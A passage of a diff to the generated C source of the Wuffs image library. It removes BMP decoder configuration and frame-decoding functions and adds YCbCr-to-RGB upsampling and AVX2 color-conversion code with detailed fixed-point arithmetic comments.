((uint32_t)(*scratch)); +- break; +- } +- num_bits_19 += 8u; +- *scratch |= ((uint64_t)(num_bits_19)) << 56; +- } +- } +- self->private_impl.f_channel_masks[3u] = t_19; +- } +- self->private_data.s_do_decode_image_config[0].scratch = ((uint32_t)(self->private_impl.f_bitmap_info_len - 56u)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(43); +- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; +- } +- if ((self->private_impl.f_channel_masks[0u] == 255u) && (self->private_impl.f_channel_masks[1u] == 65280u) && (self->private_impl.f_channel_masks[2u] == 16711680u)) { +- if (self->private_impl.f_bits_per_pixel == 24u) { +- self->private_impl.f_compression = 0u; +- } else if (self->private_impl.f_bits_per_pixel == 32u) { +- if ((self->private_impl.f_channel_masks[3u] == 0u) || (self->private_impl.f_channel_masks[3u] == 4278190080u)) { +- self->private_impl.f_compression = 0u; +- } +- } +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(44); +- status = wuffs_bmp__decoder__process_masks(self); +- if (status.repr) { +- goto suspend; +- } +- } +- } else if (self->private_impl.f_bitmap_info_len >= 40u) { +- self->private_data.s_do_decode_image_config[0].scratch = (self->private_impl.f_bitmap_info_len - 40u); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(45); +- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; +- } else { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- } +- if (self->private_impl.f_compression != 3u) { +- if (self->private_impl.f_bits_per_pixel < 16u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(46); +- status = wuffs_bmp__decoder__read_palette(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } +- } +- if (self->private_impl.f_compression == 0u) { +- if ((self->private_impl.f_bits_per_pixel == 1u) || (self->private_impl.f_bits_per_pixel == 2u) || (self->private_impl.f_bits_per_pixel == 4u)) { +- self->private_impl.f_src_pixfmt = 2198077448u; +- self->private_impl.f_compression = 256u; +- } else if (self->private_impl.f_bits_per_pixel == 8u) { +- self->private_impl.f_src_pixfmt = 2198077448u; +- } else if (self->private_impl.f_bits_per_pixel == 16u) { +- self->private_impl.f_compression = 3u; +- self->private_impl.f_channel_masks[0u] = 31u; +- self->private_impl.f_channel_masks[1u] = 992u; +- self->private_impl.f_channel_masks[2u] = 31744u; +- self->private_impl.f_channel_masks[3u] = 0u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(47); +- status = wuffs_bmp__decoder__process_masks(self); +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_src_pixfmt = 2164308923u; +- } else if (self->private_impl.f_bits_per_pixel == 24u) { +- self->private_impl.f_src_pixfmt = 2147485832u; +- } else if (self->private_impl.f_bits_per_pixel == 32u) { +- if (self->private_impl.f_channel_masks[3u] == 0u) { +- self->private_impl.f_src_pixfmt = 2415954056u; +- } else { +- self->private_impl.f_src_pixfmt = 2164295816u; +- } +- } else { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- } else if (self->private_impl.f_compression == 1u) { +- if (self->private_impl.f_bits_per_pixel == 8u) { +- self->private_impl.f_src_pixfmt = 2198077448u; +- } else { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- } else if (self->private_impl.f_compression == 2u) { +- if (self->private_impl.f_bits_per_pixel == 4u) { +- self->private_impl.f_src_pixfmt = 2198077448u; +- } else { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- } else if (self->private_impl.f_compression == 3u) { +- if ((self->private_impl.f_bits_per_pixel == 16u) || (self->private_impl.f_bits_per_pixel == 32u)) { +- self->private_impl.f_src_pixfmt = 2164308923u; +- } else { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- } else { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- if (((self->private_impl.f_bitmap_info_len < 40u) || (self->private_impl.f_bitmap_info_len == 64u)) && +- (self->private_impl.f_bits_per_pixel != 1u) && +- (self->private_impl.f_bits_per_pixel != 4u) && +- (self->private_impl.f_bits_per_pixel != 8u) && +- (self->private_impl.f_bits_per_pixel != 24u)) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; +- } +- if (self->private_impl.f_bits_per_pixel == 1u) { +- v_byte_width = ((self->private_impl.f_width >> 3u) + (((self->private_impl.f_width & 7u) + 7u) >> 3u)); +- self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); +- } else if (self->private_impl.f_bits_per_pixel == 2u) { +- v_byte_width = ((self->private_impl.f_width >> 2u) + (((self->private_impl.f_width & 3u) + 3u) >> 2u)); +- self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); +- } else if (self->private_impl.f_bits_per_pixel == 4u) { +- v_byte_width = ((self->private_impl.f_width >> 1u) + (self->private_impl.f_width & 1u)); +- self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); +- } else if (self->private_impl.f_bits_per_pixel == 8u) { +- self->private_impl.f_pad_per_row = ((4u - (self->private_impl.f_width & 3u)) & 3u); +- } else if (self->private_impl.f_bits_per_pixel == 16u) { +- self->private_impl.f_pad_per_row = ((self->private_impl.f_width & 1u) * 2u); +- } else if (self->private_impl.f_bits_per_pixel == 24u) { +- self->private_impl.f_pad_per_row = (self->private_impl.f_width & 3u); +- } else if (self->private_impl.f_bits_per_pixel == 32u) { +- self->private_impl.f_pad_per_row = 0u; +- } +- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- if (a_dst != NULL) { +- v_dst_pixfmt = 2164295816u; +- if ((self->private_impl.f_channel_num_bits[0u] > 8u) || +- (self->private_impl.f_channel_num_bits[1u] > 8u) || +- (self->private_impl.f_channel_num_bits[2u] > 8u) || +- (self->private_impl.f_channel_num_bits[3u] > 8u)) { +- v_dst_pixfmt = 2164308923u; +- } +- wuffs_base__image_config__set( +- a_dst, +- v_dst_pixfmt, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- self->private_impl.f_frame_config_io_position, +- (self->private_impl.f_channel_masks[3u] == 0u)); ++#endif ++ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_rgbx; ++ break; ++ default: ++ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_general; ++ break; + } +- self->private_impl.f_call_sequence = 32u; +- +- ok: +- self->private_impl.p_do_decode_image_config[0] = 0; +- goto exit; + } + +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ void (*func3)(wuffs_base__pixel_buffer * dst, // ++ uint32_t x_min_incl, // ++ uint32_t x_max_excl, // ++ uint32_t y_min_incl, // ++ uint32_t y_max_excl, // ++ const uint8_t* src_ptr0, // ++ const uint8_t* src_ptr1, // ++ const uint8_t* src_ptr2, // ++ uint32_t stride0, // ++ uint32_t stride1, // ++ uint32_t stride2, // ++ uint32_t inv_h0, // ++ uint32_t inv_h1, // ++ uint32_t inv_h2, // ++ uint32_t inv_v0, // ++ uint32_t inv_v1, // ++ uint32_t inv_v2, // ++ uint32_t half_width_for_2to1, // ++ uint32_t half_height_for_2to1, // ++ uint8_t* scratch_buffer_2k_ptr, // ++ wuffs_private_impl__swizzle_ycc__upsample_func(*upfuncs)[4][4], ++ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func) = ++ &wuffs_private_impl__swizzle_ycc__general__box_filter; ++ ++ void (*func4)(wuffs_base__pixel_buffer * dst, // ++ uint32_t x_min_incl, // ++ uint32_t x_max_excl, // ++ uint32_t y_min_incl, // ++ uint32_t y_max_excl, // ++ const uint8_t* src_ptr0, // ++ const uint8_t* src_ptr1, // ++ const uint8_t* src_ptr2, // ++ const uint8_t* src_ptr3, // ++ uint32_t stride0, // ++ uint32_t stride1, // ++ uint32_t stride2, // ++ uint32_t stride3, // ++ uint32_t inv_h0, // ++ uint32_t inv_h1, // ++ uint32_t inv_h2, // ++ uint32_t inv_h3, // ++ uint32_t inv_v0, // ++ uint32_t inv_v1, // ++ uint32_t inv_v2, // ++ uint32_t inv_v3, // ++ uint32_t half_width_for_2to1, // ++ uint32_t half_height_for_2to1, // ++ uint8_t* scratch_buffer_2k_ptr, // ++ wuffs_private_impl__swizzle_ycc__upsample_func(*upfuncs)[4][4], ++ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func) = ++ &wuffs_private_impl__swizzle_ycck__general__box_filter; ++ ++ wuffs_private_impl__swizzle_ycc__upsample_func upfuncs[4][4]; ++ memcpy(&upfuncs, &wuffs_private_impl__swizzle_ycc__upsample_funcs, ++ sizeof upfuncs); + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if (triangle_filter_for_2to1 && ++ (wuffs_private_impl__swizzle_has_triangle_upsampler(inv_h0, inv_v0) || ++ wuffs_private_impl__swizzle_has_triangle_upsampler(inv_h1, inv_v1) || ++ wuffs_private_impl__swizzle_has_triangle_upsampler(inv_h2, inv_v2) || ++ wuffs_private_impl__swizzle_has_triangle_upsampler(inv_h3, inv_v3))) { ++ func3 = &wuffs_private_impl__swizzle_ycc__general__triangle_filter; ++ func4 = &wuffs_private_impl__swizzle_ycck__general__triangle_filter; ++ ++ upfuncs[0][1] = wuffs_private_impl__swizzle_ycc__upsample_inv_h1v2_triangle; ++ upfuncs[1][0] = wuffs_private_impl__swizzle_ycc__upsample_inv_h2v1_triangle; ++ upfuncs[1][1] = wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle; ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++#if defined(__GNUC__) && !defined(__clang__) ++ // Don't use our AVX2 implementation for GCC (but do use it for clang). For ++ // some unknown reason, GCC performs noticably better on the non-SIMD ++ // version. Possibly because GCC's auto-vectorizer is smarter (just with ++ // SSE2, not AVX2) than our hand-written code, but that's just a guess. ++ // ++ // See commits 51bc60ef9298cb2efc1b29a9681191f66d49820d and ++ // cd769a0cdf1b5affee13f6089b995f3d39569cb4 for benchmark numbers. ++ // ++ // See also https://godbolt.org/z/MbhbPGEz4 for Debian Bullseye's clang 11 ++ // versus gcc 10, where only gcc auto-vectorizes, although later clang ++ // versions will also auto-vectorize. ++#else ++ if (wuffs_base__cpu_arch__have_x86_avx2()) { ++ upfuncs[1][1] = ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2; ++ } ++#endif ++#endif + } + +- return status; +-} +- +-// -------- func bmp.decoder.decode_frame_config ++ if ((h3 != 0u) || (v3 != 0u)) { ++ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func = ++ is_rgb_or_cmyk ? &wuffs_private_impl__swizzle_cmyk__convert_4_general ++ : &wuffs_private_impl__swizzle_ycck__convert_4_general; ++ (*func4)( // ++ dst, x_min_incl, x_max_excl, y_min_incl, y_max_excl, // ++ src0.ptr, src1.ptr, src2.ptr, src3.ptr, // ++ stride0, stride1, stride2, stride3, // ++ inv_h0, inv_h1, inv_h2, inv_h3, // ++ inv_v0, inv_v1, inv_v2, inv_v3, // ++ half_width_for_2to1, half_height_for_2to1, // ++ scratch_buffer_2k.ptr, &upfuncs, conv4func); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bmp__decoder__decode_frame_config( +- wuffs_bmp__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 2)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } else { ++ (*func3)( // ++ dst, x_min_incl, x_max_excl, y_min_incl, y_max_excl, // ++ src0.ptr, src1.ptr, src2.ptr, // ++ stride0, stride1, stride2, // ++ inv_h0, inv_h1, inv_h2, // ++ inv_v0, inv_v1, inv_v2, // ++ half_width_for_2to1, half_height_for_2to1, // ++ scratch_buffer_2k.ptr, &upfuncs, conv3func); + } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ return wuffs_base__make_status(NULL); ++} + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_frame_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++// -------- + +- ok: +- self->private_impl.p_decode_frame_config[0] = 0; +- goto exit; ++// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") ++static void // ++wuffs_private_impl__swizzle_ycc__convert_3_bgrx_x86_avx2( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2) { ++ if ((x + 32u) > x_end) { ++ wuffs_private_impl__swizzle_ycc__convert_3_bgrx( // ++ dst, x, x_end, y, up0, up1, up2); ++ return; + } + +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ size_t dst_stride = dst->private_impl.planes[0].stride; ++ uint8_t* dst_iter = dst->private_impl.planes[0].ptr + ++ (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} ++ // u0001 = u16x16 [0x0001 .. 0x0001] ++ // u00FF = u16x16 [0x00FF .. 0x00FF] ++ // uFF80 = u16x16 [0xFF80 .. 0xFF80] ++ // uFFFF = u16x16 [0xFFFF .. 0xFFFF] ++ const __m256i u0001 = _mm256_set1_epi16(+0x0001); ++ const __m256i u00FF = _mm256_set1_epi16(+0x00FF); ++ const __m256i uFF80 = _mm256_set1_epi16(-0x0080); ++ const __m256i uFFFF = _mm256_set1_epi16(-0x0001); + +-// -------- func bmp.decoder.do_decode_frame_config ++ // p8000_p0000 = u16x16 [0x8000 0x0000 .. 0x8000 0x0000] ++ const __m256i p8000_p0000 = _mm256_set_epi16( // ++ +0x0000, -0x8000, +0x0000, -0x8000, // ++ +0x0000, -0x8000, +0x0000, -0x8000, // ++ +0x0000, -0x8000, +0x0000, -0x8000, // ++ +0x0000, -0x8000, +0x0000, -0x8000); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_decode_frame_config( +- wuffs_bmp__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ // Per wuffs_base__color_ycc__as__color_u32, the formulae: ++ // ++ // R = Y + 1.40200 * Cr ++ // G = Y - 0.34414 * Cb - 0.71414 * Cr ++ // B = Y + 1.77200 * Cb ++ // ++ // When scaled by 1<<16: ++ // ++ // 0.34414 becomes 0x0581A = 22554. ++ // 0.71414 becomes 0x0B6D2 = 46802. ++ // 1.40200 becomes 0x166E9 = 91881. ++ // 1.77200 becomes 0x1C5A2 = 116130. ++ // ++ // Separate the integer and fractional parts, since we work with signed ++ // 16-bit SIMD lanes. The fractional parts range from -0.5 .. +0.5 (as ++ // floating-point) which is from -0x8000 .. +0x8000 (as fixed-point). ++ // ++ // -0x3A5E = -0x20000 + 0x1C5A2 The B:Cb factor. ++ // +0x66E9 = -0x10000 + 0x166E9 The R:Cr factor. ++ // -0x581A = +0x00000 - 0x0581A The G:Cb factor. ++ // +0x492E = +0x10000 - 0x0B6D2 The G:Cr factor. ++ const __m256i m3A5E = _mm256_set1_epi16(-0x3A5E); ++ const __m256i p66E9 = _mm256_set1_epi16(+0x66E9); ++ const __m256i m581A_p492E = _mm256_set_epi16( // ++ +0x492E, -0x581A, +0x492E, -0x581A, // ++ +0x492E, -0x581A, +0x492E, -0x581A, // ++ +0x492E, -0x581A, +0x492E, -0x581A, // ++ +0x492E, -0x581A, +0x492E, -0x581A); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ while (x < x_end) { ++ // Load chroma values in even and odd columns (the high 8 bits of each ++ // u16x16 element are zero) and then subtract 0x0080. ++ // ++ // cb_all = u8x32 [cb.00 cb.01 cb.02 cb.03 .. cb.1C cb.1D cb.1E cb.1F] ++ // cb_eve = i16x16 [cb.00-0x80 cb.02-0x80 .. cb.1C-0x80 cb.1E-0x80 ] ++ // cb_odd = i16x16 [cb.01-0x80 cb.03-0x80 .. cb.1D-0x80 cb.1F-0x80 ] ++ // ++ // Ditto for the cr_xxx Chroma-Red values. ++ __m256i cb_all = _mm256_lddqu_si256((const __m256i*)(const void*)up1); ++ __m256i cr_all = _mm256_lddqu_si256((const __m256i*)(const void*)up2); ++ __m256i cb_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cb_all, u00FF)); ++ __m256i cr_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cr_all, u00FF)); ++ __m256i cb_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cb_all, 8)); ++ __m256i cr_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cr_all, 8)); + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ // ---- + +- if (self->private_impl.f_call_sequence == 32u) { +- } else if (self->private_impl.f_call_sequence < 32u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_bmp__decoder__do_decode_image_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else if (self->private_impl.f_call_sequence == 40u) { +- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_restart); +- goto exit; +- } +- } else if (self->private_impl.f_call_sequence == 64u) { +- self->private_impl.f_call_sequence = 96u; +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- if (a_dst != NULL) { +- wuffs_base__frame_config__set( +- a_dst, +- wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height), +- ((wuffs_base__flicks)(0u)), +- 0u, +- self->private_impl.f_frame_config_io_position, +- 0u, +- true, +- false, +- 4278190080u); +- } +- self->private_impl.f_call_sequence = 64u; ++ // Calculate: ++ // ++ // B-Y = (+1.77200 * Cb) as floating-point ++ // R-Y = (+1.40200 * Cr) as floating-point ++ // ++ // B-Y = ((0x2_0000 - 0x3A5E) * Cb) as fixed-point ++ // R-Y = ((0x1_0000 + 0x66E9) * Cr) as fixed-point ++ // ++ // B-Y = ((-0x3A5E * Cb) + ("2.0" * Cb)) ++ // R-Y = ((+0x66E9 * Cr) + ("1.0" * Cr)) + +- ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; +- goto exit; +- } ++ // Multiply by m3A5E or p66E9, taking the high 16 bits. There's also a ++ // doubling (add x to itself), adding-of-1 and halving (shift right by 1). ++ // That makes multiply-and-take-high round to nearest (instead of down). ++ __m256i tmp_by_eve = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cb_eve, cb_eve), m3A5E), u0001), ++ 1); ++ __m256i tmp_by_odd = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cb_odd, cb_odd), m3A5E), u0001), ++ 1); ++ __m256i tmp_ry_eve = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cr_eve, cr_eve), p66E9), u0001), ++ 1); ++ __m256i tmp_ry_odd = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cr_odd, cr_odd), p66E9), u0001), ++ 1); + +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ // Add (2 * Cb) and (1 * Cr). ++ __m256i by_eve = ++ _mm256_add_epi16(tmp_by_eve, _mm256_add_epi16(cb_eve, cb_eve)); ++ __m256i by_odd = ++ _mm256_add_epi16(tmp_by_odd, _mm256_add_epi16(cb_odd, cb_odd)); ++ __m256i ry_eve = _mm256_add_epi16(tmp_ry_eve, cr_eve); ++ __m256i ry_odd = _mm256_add_epi16(tmp_ry_odd, cr_odd); + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++ // ---- + +- return status; +-} ++ // Calculate: ++ // ++ // G-Y = (-0.34414 * Cb) + ++ // (-0.71414 * Cr) as floating-point ++ // ++ // G-Y = ((+0x0_0000 - 0x581A) * Cb) + ++ // ((-0x1_0000 + 0x492E) * Cr) as fixed-point ++ // ++ // G-Y = (-0x581A * Cb) + ++ // (+0x492E * Cr) - ("1.0" * Cr) + +-// -------- func bmp.decoder.decode_frame ++ // Multiply-add to get ((-0x581A * Cb) + (+0x492E * Cr)). ++ __m256i tmp0_gy_eve_lo = _mm256_madd_epi16( // ++ _mm256_unpacklo_epi16(cb_eve, cr_eve), m581A_p492E); ++ __m256i tmp0_gy_eve_hi = _mm256_madd_epi16( // ++ _mm256_unpackhi_epi16(cb_eve, cr_eve), m581A_p492E); ++ __m256i tmp0_gy_odd_lo = _mm256_madd_epi16( // ++ _mm256_unpacklo_epi16(cb_odd, cr_odd), m581A_p492E); ++ __m256i tmp0_gy_odd_hi = _mm256_madd_epi16( // ++ _mm256_unpackhi_epi16(cb_odd, cr_odd), m581A_p492E); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bmp__decoder__decode_frame( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 3)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ // Divide the i32x8 vectors by (1 << 16), rounding to nearest. ++ __m256i tmp1_gy_eve_lo = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_lo, p8000_p0000), 16); ++ __m256i tmp1_gy_eve_hi = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_hi, p8000_p0000), 16); ++ __m256i tmp1_gy_odd_lo = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_lo, p8000_p0000), 16); ++ __m256i tmp1_gy_odd_hi = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_hi, p8000_p0000), 16); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ // Pack the ((-0x581A * Cb) + (+0x492E * Cr)) as i16x16 and subtract Cr. ++ __m256i gy_eve = _mm256_sub_epi16( ++ _mm256_packs_epi32(tmp1_gy_eve_lo, tmp1_gy_eve_hi), cr_eve); ++ __m256i gy_odd = _mm256_sub_epi16( ++ _mm256_packs_epi32(tmp1_gy_odd_lo, tmp1_gy_odd_hi), cr_odd); + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ // ---- + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_frame(self, +- a_dst, +- a_src, +- a_blend, +- a_workbuf, +- a_opts); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++ // Add Y to (B-Y), (G-Y) and (R-Y) to produce B, G and R. ++ // ++ // For the resultant packed_x_xxx vectors, only elements 0 ..= 7 and 16 ..= ++ // 23 of the 32-element vectors matter (since we'll unpacklo but not ++ // unpackhi them). Let … denote 8 ignored consecutive u8 values and let % ++ // denote 0xFF. We'll end this section with: ++ // ++ // packed_b_eve = u8x32 [b00 b02 .. b0C b0E … b10 b12 .. b1C b1E …] ++ // packed_b_odd = u8x32 [b01 b03 .. b0D b0F … b11 b13 .. b1D b1F …] ++ // packed_g_eve = u8x32 [g00 g02 .. g0C g0E … g10 g12 .. g1C g1E …] ++ // packed_g_odd = u8x32 [g01 g03 .. g0D g0F … g11 g13 .. g1D g1F …] ++ // packed_r_eve = u8x32 [r00 r02 .. r0C r0E … r10 r12 .. r1C r1E …] ++ // packed_r_odd = u8x32 [r01 r03 .. r0D r0F … r11 r13 .. r1D r1F …] ++ // uFFFF = u8x32 [ % % .. % % … % % .. % % …] + +- ok: +- self->private_impl.p_decode_frame[0] = 0; +- goto exit; +- } ++ __m256i yy_all = _mm256_lddqu_si256((const __m256i*)(const void*)up0); ++ __m256i yy_eve = _mm256_and_si256(yy_all, u00FF); ++ __m256i yy_odd = _mm256_srli_epi16(yy_all, 8); + +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ __m256i loose_b_eve = _mm256_add_epi16(by_eve, yy_eve); ++ __m256i loose_b_odd = _mm256_add_epi16(by_odd, yy_odd); ++ __m256i packed_b_eve = _mm256_packus_epi16(loose_b_eve, loose_b_eve); ++ __m256i packed_b_odd = _mm256_packus_epi16(loose_b_odd, loose_b_odd); + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} ++ __m256i loose_g_eve = _mm256_add_epi16(gy_eve, yy_eve); ++ __m256i loose_g_odd = _mm256_add_epi16(gy_odd, yy_odd); 